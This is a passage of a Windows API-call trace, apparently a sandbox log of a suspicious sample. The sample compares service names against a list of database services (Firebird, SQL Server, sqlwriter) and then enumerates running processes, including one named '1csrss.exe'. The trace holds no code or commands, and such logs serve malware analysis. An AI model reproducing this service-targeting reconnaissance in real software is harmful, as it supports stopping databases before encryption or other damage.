[0289.808] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0289.808] lstrlenW (lpString="LSM") returned 3 [0289.808] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0289.808] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0289.808] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0289.808] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0289.808] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0289.808] lstrlenW (lpString="MpsSvc") returned 6 [0289.808] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0289.808] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0289.808] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0289.808] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0289.808] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0289.808] lstrlenW (lpString="NcbService") returned 10 [0289.808] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0289.808] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0289.808] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0289.808] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0289.808] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0289.808] lstrlenW (lpString="netprofm") returned 8 [0289.808] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0289.808] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0289.808] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0289.808] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0289.808] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0289.808] lstrlenW (lpString="NgcSvc") returned 6 [0289.808] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0289.808] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0289.808] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0289.808] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0289.808] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0289.808] lstrlenW (lpString="NlaSvc") returned 6 [0289.809] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0289.809] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0289.809] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0289.809] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0289.809] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0289.809] lstrlenW (lpString="nsi") returned 3 [0289.809] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0289.809] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0289.809] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0289.809] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0289.809] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0289.809] lstrlenW (lpString="PcaSvc") returned 6 [0289.809] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0289.809] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0289.809] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0289.809] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0289.809] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0289.809] lstrlenW (lpString="PlugPlay") returned 8 [0289.809] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0289.809] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0289.809] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0289.809] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0289.809] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0289.809] lstrlenW (lpString="Power") returned 5 [0289.809] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0289.809] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0289.809] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0289.809] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0289.809] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0289.809] lstrlenW (lpString="ProfSvc") returned 7 [0289.809] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0289.809] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0289.810] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0289.810] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0289.810] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0289.810] lstrlenW (lpString="RpcEptMapper") returned 12 [0289.810] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0289.810] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0289.810] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0289.810] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0289.810] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0289.810] lstrlenW (lpString="RpcSs") returned 5 [0289.810] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0289.810] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0289.810] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0289.810] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0289.810] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0289.810] lstrlenW (lpString="SamSs") returned 5 [0289.810] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0289.810] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0289.810] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0289.810] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0289.810] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0289.810] lstrlenW (lpString="Schedule") returned 8 [0289.810] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0289.810] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0289.810] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0289.810] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0289.810] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0289.810] lstrlenW (lpString="SecurityHealthService") returned 21 [0289.810] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0289.810] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0289.810] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0289.810] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0289.811] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0289.811] lstrlenW (lpString="SENS") returned 4 [0289.811] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0289.811] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0289.811] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0289.811] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0289.811] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0289.811] lstrlenW (lpString="ShellHWDetection") returned 16 [0289.811] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0289.811] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0289.811] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0289.811] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0289.811] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0289.811] lstrlenW (lpString="Spooler") returned 7 [0289.811] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0289.811] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0289.811] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0289.811] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0289.811] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0289.811] lstrlenW (lpString="SSDPSRV") returned 7 [0289.811] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0289.811] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0289.811] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0289.811] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0289.811] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0289.811] lstrlenW (lpString="StateRepository") returned 15 [0289.811] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0289.811] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0289.811] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0289.811] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0289.811] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0289.811] lstrlenW (lpString="SysMain") returned 7 [0289.811] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0289.811] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0289.811] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0289.812] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0289.812] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0289.812] lstrlenW (lpString="SystemEventsBroker") returned 18 [0289.812] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0289.812] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0289.812] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0289.812] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0289.812] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x466fff8 | out: hHeap=0x6e0000) returned 1 [0289.812] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x4c4 [0289.814] Process32FirstW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0289.815] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x95, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0289.816] lstrlenW (lpString="System") returned 6 [0289.816] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0289.816] lstrlenW (lpString="smss.exe") returned 8 [0289.816] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0289.817] lstrlenW (lpString="csrss.exe") returned 9 [0289.817] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0289.818] lstrlenW (lpString="wininit.exe") returned 11 [0289.818] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0289.819] lstrlenW (lpString="csrss.exe") returned 9 [0289.819] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0289.819] lstrlenW (lpString="winlogon.exe") returned 12 [0289.820] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0289.820] lstrlenW (lpString="services.exe") returned 12 [0289.820] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0289.821] lstrlenW (lpString="lsass.exe") returned 9 [0289.821] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0289.822] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0289.822] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0289.823] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0289.823] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0289.823] lstrlenW (lpString="svchost.exe") returned 11 [0289.823] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0289.824] lstrlenW (lpString="svchost.exe") returned 11 [0289.824] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0289.825] lstrlenW (lpString="dwm.exe") returned 7 [0289.825] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0289.825] lstrlenW (lpString="svchost.exe") returned 11 [0289.825] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0289.826] lstrlenW (lpString="svchost.exe") returned 11 [0289.826] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0289.827] lstrlenW (lpString="svchost.exe") returned 11 [0289.827] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x47, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0289.828] lstrlenW (lpString="svchost.exe") returned 11 [0289.828] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0289.828] lstrlenW (lpString="svchost.exe") returned 11 [0289.828] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0289.829] lstrlenW (lpString="svchost.exe") returned 11 [0289.829] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0289.830] lstrlenW (lpString="svchost.exe") returned 11 [0289.830] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0289.830] lstrlenW (lpString="svchost.exe") returned 11 [0289.830] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x528, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0289.831] lstrlenW (lpString="svchost.exe") returned 11 [0289.831] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0289.832] lstrlenW (lpString="svchost.exe") returned 11 [0289.832] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0289.833] lstrlenW (lpString="spoolsv.exe") returned 11 [0289.833] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0289.833] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0289.833] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0289.834] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0289.834] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0289.835] lstrlenW (lpString="Memory Compression") returned 18 [0289.835] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0289.835] lstrlenW (lpString="svchost.exe") returned 11 [0289.835] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0289.836] lstrlenW (lpString="audiodg.exe") returned 11 [0289.836] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0289.837] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0289.837] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0289.837] lstrlenW (lpString="sihost.exe") returned 10 [0289.837] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0289.838] lstrlenW (lpString="svchost.exe") returned 11 [0289.838] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0289.839] lstrlenW (lpString="taskhostw.exe") returned 13 [0289.839] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0289.839] lstrlenW (lpString="msoia.exe") returned 9 [0289.840] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x9f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0289.840] lstrlenW (lpString="explorer.exe") returned 12 [0289.840] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0289.841] lstrlenW (lpString="SearchUI.exe") returned 12 [0289.841] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0289.842] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0289.842] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0289.842] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0289.842] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0xa08, pcPriClassBase=8, dwFlags=0x0, szExeFile="1csrss.exe")) returned 1 [0289.843] lstrlenW (lpString="1csrss.exe") returned 10 [0289.843] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0289.844] lstrlenW (lpString="svchost.exe") returned 11 [0289.844] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, 